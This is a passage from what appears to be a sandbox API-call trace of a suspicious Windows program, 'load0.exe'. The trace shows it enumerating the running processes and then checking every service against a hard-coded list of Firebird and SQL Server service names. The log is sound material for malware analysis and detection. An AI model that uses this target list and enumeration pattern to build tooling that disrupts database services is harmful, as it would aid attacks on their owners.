lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.877] lstrlenW (lpString="smss.exe") returned 8 [0269.877] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.878] lstrlenW (lpString="csrss.exe") returned 9 [0269.878] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.879] lstrlenW (lpString="wininit.exe") returned 11 [0269.879] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.880] lstrlenW (lpString="csrss.exe") returned 9 [0269.880] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.881] lstrlenW (lpString="winlogon.exe") returned 12 [0269.881] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.882] lstrlenW (lpString="services.exe") returned 12 [0269.882] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.883] lstrlenW (lpString="lsass.exe") returned 9 [0269.883] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0269.884] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0269.884] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0269.885] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0269.885] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.886] lstrlenW (lpString="svchost.exe") returned 11 [0269.886] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.887] lstrlenW (lpString="svchost.exe") returned 11 [0269.887] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.887] lstrlenW (lpString="dwm.exe") returned 7 [0269.887] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.888] lstrlenW (lpString="svchost.exe") returned 11 [0269.888] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.889] lstrlenW (lpString="svchost.exe") returned 11 [0269.889] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.890] lstrlenW (lpString="svchost.exe") returned 11 [0269.890] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.890] lstrlenW (lpString="svchost.exe") returned 11 [0269.891] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.891] lstrlenW (lpString="svchost.exe") returned 11 [0269.891] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.892] lstrlenW (lpString="svchost.exe") returned 11 [0269.892] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.893] lstrlenW (lpString="svchost.exe") returned 11 [0269.893] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.894] lstrlenW (lpString="svchost.exe") returned 11 [0269.894] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.895] lstrlenW (lpString="svchost.exe") returned 11 [0269.895] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.896] lstrlenW (lpString="svchost.exe") returned 11 [0269.896] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.897] lstrlenW (lpString="spoolsv.exe") returned 11 [0269.897] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.898] lstrlenW (lpString="svchost.exe") returned 11 [0269.898] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.899] lstrlenW (lpString="audiodg.exe") returned 11 [0269.899] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0269.900] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0269.900] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0269.901] lstrlenW (lpString="Memory Compression") returned 18 [0269.901] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0269.902] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0269.902] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0269.902] lstrlenW (lpString="sihost.exe") returned 10 [0269.903] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.903] lstrlenW (lpString="svchost.exe") returned 11 [0269.904] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0269.904] lstrlenW (lpString="taskhostw.exe") returned 13 [0269.904] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0269.905] lstrlenW (lpString="msoia.exe") returned 9 [0269.905] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.906] lstrlenW (lpString="explorer.exe") returned 12 [0269.906] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0269.907] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0269.907] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0269.908] lstrlenW (lpString="SearchUI.exe") returned 12 [0269.908] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0269.909] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0269.909] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0269.909] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0269.909] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0269.910] lstrlenW (lpString="load0.exe") returned 9 [0269.910] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0269.911] lstrlenW (lpString="dllhost.exe") returned 11 [0269.911] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0269.912] lstrlenW (lpString="load0.exe") returned 9 [0269.912] Process32NextW (in: hSnapshot=0x1114, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0269.912] CloseHandle (hObject=0x1114) returned 1 [0269.913] Sleep (dwMilliseconds=0x1f4) [0270.541] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64848 [0270.541] EnumServicesStatusExW (in: hSCManager=0x3f64848, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0270.542] GetLastError () returned 0xea [0270.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x6e07d8 [0270.542] EnumServicesStatusExW (in: hSCManager=0x3f64848, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e07d8, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e07d8, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0270.543] CloseServiceHandle (hSCObject=0x3f64848) returned 1 [0270.547] lstrlenW (lpString="Appinfo") returned 7 [0270.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0270.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0270.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0270.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0270.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0270.547] lstrlenW (lpString="AppXSvc") returned 7 [0270.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0270.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0270.547] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0270.547] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0270.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0270.547] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0270.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0270.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0270.547] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0270.547] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0270.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0270.547] lstrlenW (lpString="Audiosrv") returned 8 [0270.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0270.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0270.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0270.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0270.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0270.547] lstrlenW (lpString="BFE") returned 3 [0270.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0270.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0270.548] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0270.548] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0270.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0270.548] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0270.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0270.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0270.548] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0270.548] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0270.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0270.548] lstrlenW (lpString="CDPSvc") returned 6 [0270.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0270.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0270.548] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0270.548] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0270.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0270.548] lstrlenW (lpString="ClickToRunSvc") returned 13 [0270.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0270.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0270.548] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0270.548] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0270.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0270.548] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0270.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0270.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0270.549] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0270.549] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0270.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0270.549] lstrlenW (lpString="CryptSvc") returned 8 [0270.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0270.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0270.549] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0270.549] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0270.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0270.549] lstrlenW (lpString="DcomLaunch") returned 10 [0270.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0270.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0270.549] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0270.549] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0270.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0270.549] lstrlenW (lpString="DeviceAssociationService") returned 24 [0270.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0270.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0270.549] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0270.549] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0270.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0270.549] lstrlenW (lpString="Dhcp") returned 4 [0270.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0270.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0270.549] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0270.549] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0270.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0270.549] lstrlenW (lpString="Dnscache") returned 8 [0270.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0270.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0270.550] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0270.550] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0270.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0270.550] lstrlenW (lpString="DPS") returned 3 [0270.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0270.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0270.550] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0270.550] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0270.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0270.550] lstrlenW (lpString="DusmSvc") returned 7 [0270.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0270.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0270.550] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0270.550] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0270.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0270.550] lstrlenW (lpString="EventLog") returned 8 [0270.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0270.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0270.550] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0270.550] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0270.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0270.550] lstrlenW (lpString="EventSystem") returned 11 [0270.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0270.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0270.550] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0270.550] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0270.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0270.550] lstrlenW (lpString="FontCache") returned 9 [0270.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0270.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0270.551] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0270.551] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0270.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0270.551] lstrlenW (lpString="gpsvc") returned 5 [0270.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0270.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0270.551] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0270.551] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0270.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0270.551] lstrlenW (lpString="iphlpsvc") returned 8 [0270.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0270.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0270.551] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0270.551] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0270.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0270.551] 